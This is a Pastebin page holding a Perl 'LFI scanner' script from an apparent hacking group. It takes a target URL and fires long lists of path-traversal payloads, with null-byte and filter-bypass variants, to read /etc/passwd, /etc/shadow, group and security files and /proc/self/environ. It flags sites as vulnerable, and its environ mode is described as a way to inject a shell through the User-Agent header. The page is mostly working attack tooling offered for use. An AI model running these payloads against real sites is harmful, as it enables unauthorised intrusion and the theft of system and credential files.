API tools faq
paste
bonekcok21

LFI SCANNER.pl

bonekcok21
Jul 31st, 2016
722
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 11.32 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.     use HTTP::Request;
  3.     use LWP::UserAgent;
  4. system("title LFI SCANNER TCA ");
  5. system("color 3e");
  6. system ("cls");
  7. print "    |=======================================================|\n";
  8. print "    |= [!] Author  : MasterZombie Coded by TCA             =|\n";
  9. print "    |= [!] Site: http://trenggalekcybernew.blogspot.co.id/ =|\n";
  10. print "    |=======================================================|\n";
  11. print "\n\n";
  12. sleep (1);
  13. print "\t\t\t\t WELCOME\n";
  14. print "\n\n";
  15. menu:;
  16. print "\tMenu:\n";
  17. print "\t ID [1] =>Passwd,Log";
  18. print "\t[Scan Files Of /etc/ Directory]\n";
  19. print "\t ID [2] =>Environ";
  20. print "\t[Scan Environ File For Inject Shell By U-Agent]\n";
  21. print"\n";
  22. print "\t\t Select ID For Start Scanner :";
  23. $menu = <>;
  24. if ($menu =~ /1/){
  25.         goto lfi;
  26.         }
  27.         if ($menu =~ /2/){
  28.                 goto env;
  29.         }
  30.         else {
  31.                 print"\n\n";
  32.                 print "\t\tUnknow Command\n";
  33.                 goto menu;
  34.         };
  35.  
  36.  
  37. lfi:;
  38.     print "\n\n";
  39.     print "\t\t\tWelcome To /etc/ Section With New Method\n\n";
  40.     print "\t Insert Target (ex: http://www.xxx.com/index.php?page=)\n";
  41.     print "\t Target :";
  42.     $host=<STDIN>;
  43.     chomp($host);
  44.     if($host !~ /http:\/\//) { $host = "http://$host"; };
  45.  
  46. print "\n\n";
  47. print "\t\t*-*-*-*-*-* Start Scanning /etc/ Section *-*-*-*-*-*\n";
  48. print "\n\n";
  49. @lfi = ('../etc/passwd',
  50. '../../etc/passwd',
  51. '../../../etc/passwd',
  52. '../../../../etc/passwd',
  53. '../../../../../etc/passwd',
  54. '../../../../../../etc/passwd',
  55. '../../../../../../../etc/passwd',
  56. '../../../../../../../../etc/passwd',
  57. '../../../../../../../../../etc/passwd',
  58. '../../../../../../../../../../etc/passwd',
  59. '../../../../../../../../../../../etc/passwd',
  60. '../../../../../../../../../../../../etc/passwd',
  61. '../../../../../../../../../../../../../etc/passwd',
  62. '../../../../../../../../../../../../../../etc/passwd',
  63. '../../../../../../../../../../../../../../../../etc/passwd',
  64. '....//etc/passwd',
  65. '....//....//etc/passwd',
  66. '....//....//....//etc/passwd',
  67. '....//....//....//....//etc/passwd',
  68. '....//....//....//....//....//etc/passwd',
  69. '....//....//....//....//....//....//etc/passwd',
  70. '....//....//....//....//....//....//....//etc/passwd',
  71. '....//....//....//....//....//....//....//....//etc/passwd',
  72. '....//....//....//....//....//....//....//....//....//etc/passwd',
  73. '....//....//....//....//....//....//....//....//....//....//etc/passwd',
  74. '../../etc/passwd%00',
  75. '../../../etc/passwd%00',
  76. '../../../../etc/passwd%00',
  77. '../../../../../etc/passwd%00',
  78. '../../../../../../etc/passwd%00',
  79. '../../../../../../../etc/passwd%00',
  80. '../../../../../../../../etc/passwd%00',
  81. '../../../../../../../../../etc/passwd%00',
  82. '../../../../../../../../../../etc/passwd%00',
  83. '../../../../../../../../../../../etc/passwd%00',
  84. '../../../../../../../../../../../../etc/passwd%00',
  85. '../../../../../../../../../../../../../etc/passwd%00',
  86. '../../../../../../../../../../../../../../etc/passwd%00',
  87. '../../../../../../../../../../../../../../../../etc/passwd%00',
  88. '....//etc/passwd%00',
  89. '....//....//etc/passwd%00',
  90. '....//....//....//etc/passwd%00',
  91. '....//....//....//....//etc/passwd%00',
  92. '....//....//....//....//....//etc/passwd%00',
  93. '....//....//....//....//....//....//etc/passwd%00',
  94. '....//....//....//....//....//....//....//etc/passwd%00',
  95. '....//....//....//....//....//....//....//....//etc/passwd%00',
  96. '....//....//....//....//....//....//....//....//....//etc/passwd%00',
  97. '....//....//....//....//....//....//....//....//....//....//etc/passwd%00',
  98. '../etc/shadow',
  99. '../../etc/shadow',
  100. '../../../etc/shadow',
  101. '../../../../etc/shadow',
  102. '../../../../../etc/shadow',
  103. '../../../../../../etc/shadow',
  104. '../../../../../../../etc/shadow',
  105. '../../../../../../../../etc/shadow',
  106. '../../../../../../../../../etc/shadow',
  107. '../../../../../../../../../../etc/shadow',
  108. '../../../../../../../../../../../etc/shadow',
  109. '../../../../../../../../../../../../etc/shadow',
  110. '../../../../../../../../../../../../../etc/shadow',
  111. '../../../../../../../../../../../../../../etc/shadow',
  112. '../etc/shadow%00',
  113. '../../etc/shadow%00',
  114. '../../../etc/shadow%00',
  115. '../../../../etc/shadow%00',
  116. '../../../../../etc/shadow%00',
  117. '../../../../../../etc/shadow%00',
  118. '../../../../../../../etc/shadow%00',
  119. '../../../../../../../../etc/shadow%00',
  120. '../../../../../../../../../etc/shadow%00',
  121. '../../../../../../../../../../etc/shadow%00',
  122. '../../../../../../../../../../../etc/shadow%00',
  123. '../../../../../../../../../../../../etc/shadow%00',
  124. '../../../../../../../../../../../../../etc/shadow%00',
  125. '../../../../../../../../../../../../../../etc/shadow%00',
  126. '../etc/group',
  127. '../../etc/group',
  128. '../../../etc/group',
  129. '../../../../etc/group',
  130. '../../../../../etc/group',
  131. '../../../../../../etc/group',
  132. '../../../../../../../etc/group',
  133. '../../../../../../../../etc/group',
  134. '../../../../../../../../../etc/group',
  135. '../../../../../../../../../../etc/group',
  136. '../../../../../../../../../../../etc/group',
  137. '../../../../../../../../../../../../etc/group',
  138. '../../../../../../../../../../../../../etc/group',
  139. '../../../../../../../../../../../../../../etc/group',
  140. '../etc/group%00',
  141. '../../etc/group%00',
  142. '../../../etc/group%00',
  143. '../../../../etc/group%00',
  144. '../../../../../etc/group%00',
  145. '../../../../../../etc/group%00',
  146. '../../../../../../../etc/group%00',
  147. '../../../../../../../../etc/group%00',
  148. '../../../../../../../../../etc/group%00',
  149. '../../../../../../../../../../etc/group%00',
  150. '../../../../../../../../../../../etc/group%00',
  151. '../../../../../../../../../../../../etc/group%00',
  152. '../../../../../../../../../../../../../etc/group%00',
  153. '../../../../../../../../../../../../../../etc/group%00',
  154. '../etc/security/group',
  155. '../../etc/security/group',
  156. '../../../etc/security/group',
  157. '../../../../etc/security/group',
  158. '../../../../../etc/security/group',
  159. '../../../../../../etc/security/group',
  160. '../../../../../../../etc/security/group',
  161. '../../../../../../../../etc/security/group',
  162. '../../../../../../../../../etc/security/group',
  163. '../../../../../../../../../../etc/security/group',
  164. '../../../../../../../../../../../etc/security/group',
  165. '../etc/security/group%00',
  166. '../../etc/security/group%00',
  167. '../../../etc/security/group%00',
  168. '../../../../etc/security/group%00',
  169. '../../../../../etc/security/group%00',
  170. '../../../../../../etc/security/group%00',
  171. '../../../../../../../etc/security/group%00',
  172. '../../../../../../../../etc/security/group%00',
  173. '../../../../../../../../../etc/security/group%00',
  174. '../../../../../../../../../../etc/security/group%00',
  175. '../../../../../../../../../../../etc/security/group%00',
  176. '../etc/security/passwd',
  177. '../../etc/security/passwd',
  178. '../../../etc/security/passwd',
  179. '../../../../etc/security/passwd',
  180. '../../../../../etc/security/passwd',
  181. '../../../../../../etc/security/passwd',
  182. '../../../../../../../etc/security/passwd',
  183. '../../../../../../../../etc/security/passwd',
  184. '../../../../../../../../../etc/security/passwd',
  185. '../../../../../../../../../../etc/security/passwd',
  186. '../../../../../../../../../../../etc/security/passwd',
  187. '../../../../../../../../../../../../etc/security/passwd',
  188. '../../../../../../../../../../../../../etc/security/passwd',
  189. '../../../../../../../../../../../../../../etc/security/passwd',
  190. '../etc/security/passwd%00',
  191. '../../etc/security/passwd%00',
  192. '../../../etc/security/passwd%00',
  193. '../../../../etc/security/passwd%00',
  194. '../../../../../etc/security/passwd%00',
  195. '../../../../../../etc/security/passwd%00',
  196. '../../../../../../../etc/security/passwd%00',
  197. '../../../../../../../../etc/security/passwd%00',
  198. '../../../../../../../../../etc/security/passwd%00',
  199. '../../../../../../../../../../etc/security/passwd%00',
  200. '../../../../../../../../../../../etc/security/passwd%00',
  201. '../../../../../../../../../../../../etc/security/passwd%00',
  202. '../../../../../../../../../../../../../etc/security/passwd%00',
  203. '../../../../../../../../../../../../../../etc/security/passwd%00',
  204. '../etc/security/user',
  205. '../../etc/security/user',
  206. '../../../etc/security/user',
  207. '../../../../etc/security/user',
  208. '../../../../../etc/security/user',
  209. '../../../../../../etc/security/user',
  210. '../../../../../../../etc/security/user',
  211. '../../../../../../../../etc/security/user',
  212. '../../../../../../../../../etc/security/user',
  213. '../../../../../../../../../../etc/security/user',
  214. '../../../../../../../../../../../etc/security/user',
  215. '../../../../../../../../../../../../etc/security/user',
  216. '../../../../../../../../../../../../../etc/security/user',
  217. '../etc/security/user%00',
  218. '../../etc/security/user%00',
  219. '../../../etc/security/user%00',
  220. '../../../../etc/security/user%00',
  221. '../../../../../etc/security/user%00',
  222. '../../../../../../etc/security/user%00',
  223. '../../../../../../../etc/security/user%00',
  224. '../../../../../../../../etc/security/user%00',
  225. '../../../../../../../../../etc/security/user%00',
  226. '../../../../../../../../../../etc/security/user%00',
  227. '../../../../../../../../../../../etc/security/user%00',
  228. '../../../../../../../../../../../../etc/security/user%00',
  229. '../../../../../../../../../../../../../etc/security/user%00');
  230.  
  231.  
  232. foreach $scan(@lfi){
  233.  
  234. $url = $host.$scan;
  235. $request = HTTP::Request->new(GET=>$url);
  236. $useragent = LWP::UserAgent->new();
  237.  
  238. $response = $useragent->request($request);
  239. if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;}
  240. else { $msg = "Not Infected";}
  241. print "$scan..........[$msg]\n";
  242. }
  243. env:;
  244.     print "\n\n";
  245.     print "\t\t\tWelcom To Environ Section\n\n";
  246.     print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
  247.     print "\t Target :";
  248.     $host=<STDIN>;
  249.     chomp($host);
  250.     if($host !~ /http:\/\//) { $host = "http://$host"; };
  251.  
  252. print "\n\n";
  253. print "\t\t*-*-*-*-*-* Start Scanning Environ  *-*-*-*-*-*\n";
  254. print "\n\n";
  255.  
  256. @env = ('../proc/self/environ',
  257. '../../proc/self/environ',
  258. '../../../proc/self/environ',
  259. '../../../../proc/self/environ',
  260. '../../../../../proc/self/environ',
  261. '../../../../../../proc/self/environ',
  262. '../../../../../../../proc/self/environ',
  263. '../../../../../../../../proc/self/environ',
  264. '../../../../../../../../../proc/self/environ',
  265. '../../../../../../../../../../proc/self/environ',
  266. '../../../../../../../../../../../proc/self/environ',
  267. '../../../../../../../../../../../../proc/self/environ',
  268. '../../../../../../../../../../../../../proc/self/environ',
  269. '../../../../../../../../../../../../../../proc/self/environ',
  270. '../proc/self/environ%00',
  271. '../../proc/self/environ%00',
  272. '../../../proc/self/environ%00',
  273. '../../../../proc/self/environ%00',
  274. '../../../../../proc/self/environ%00',
  275. '../../../../../../proc/self/environ%00',
  276. '../../../../../../../proc/self/environ%00',
  277. '../../../../../../../../proc/self/environ%00',
  278. '../../../../../../../../../proc/self/environ%00',
  279. '../../../../../../../../../../proc/self/environ%00',
  280. '../../../../../../../../../../../proc/self/environ%00',
  281. '../../../../../../../../../../../../proc/self/environ%00',
  282. '../../../../../../../../../../../../../proc/self/environ%00',
  283. '../../../../../../../../../../../../../../proc/self/environ%00');
  284.  
  285. foreach $scan_env(@env){
  286.  
  287. $url = $host.$scan_env;
  288. $request = HTTP::Request->new(GET=>$url);
  289. $useragent = LWP::UserAgent->new();
  290.  
  291. $response = $useragent->request($request);
  292. if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;}
  293. else { $msg = "Not Infected";}
  294. print "$scan_env..........[$msg]\n";
  295. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!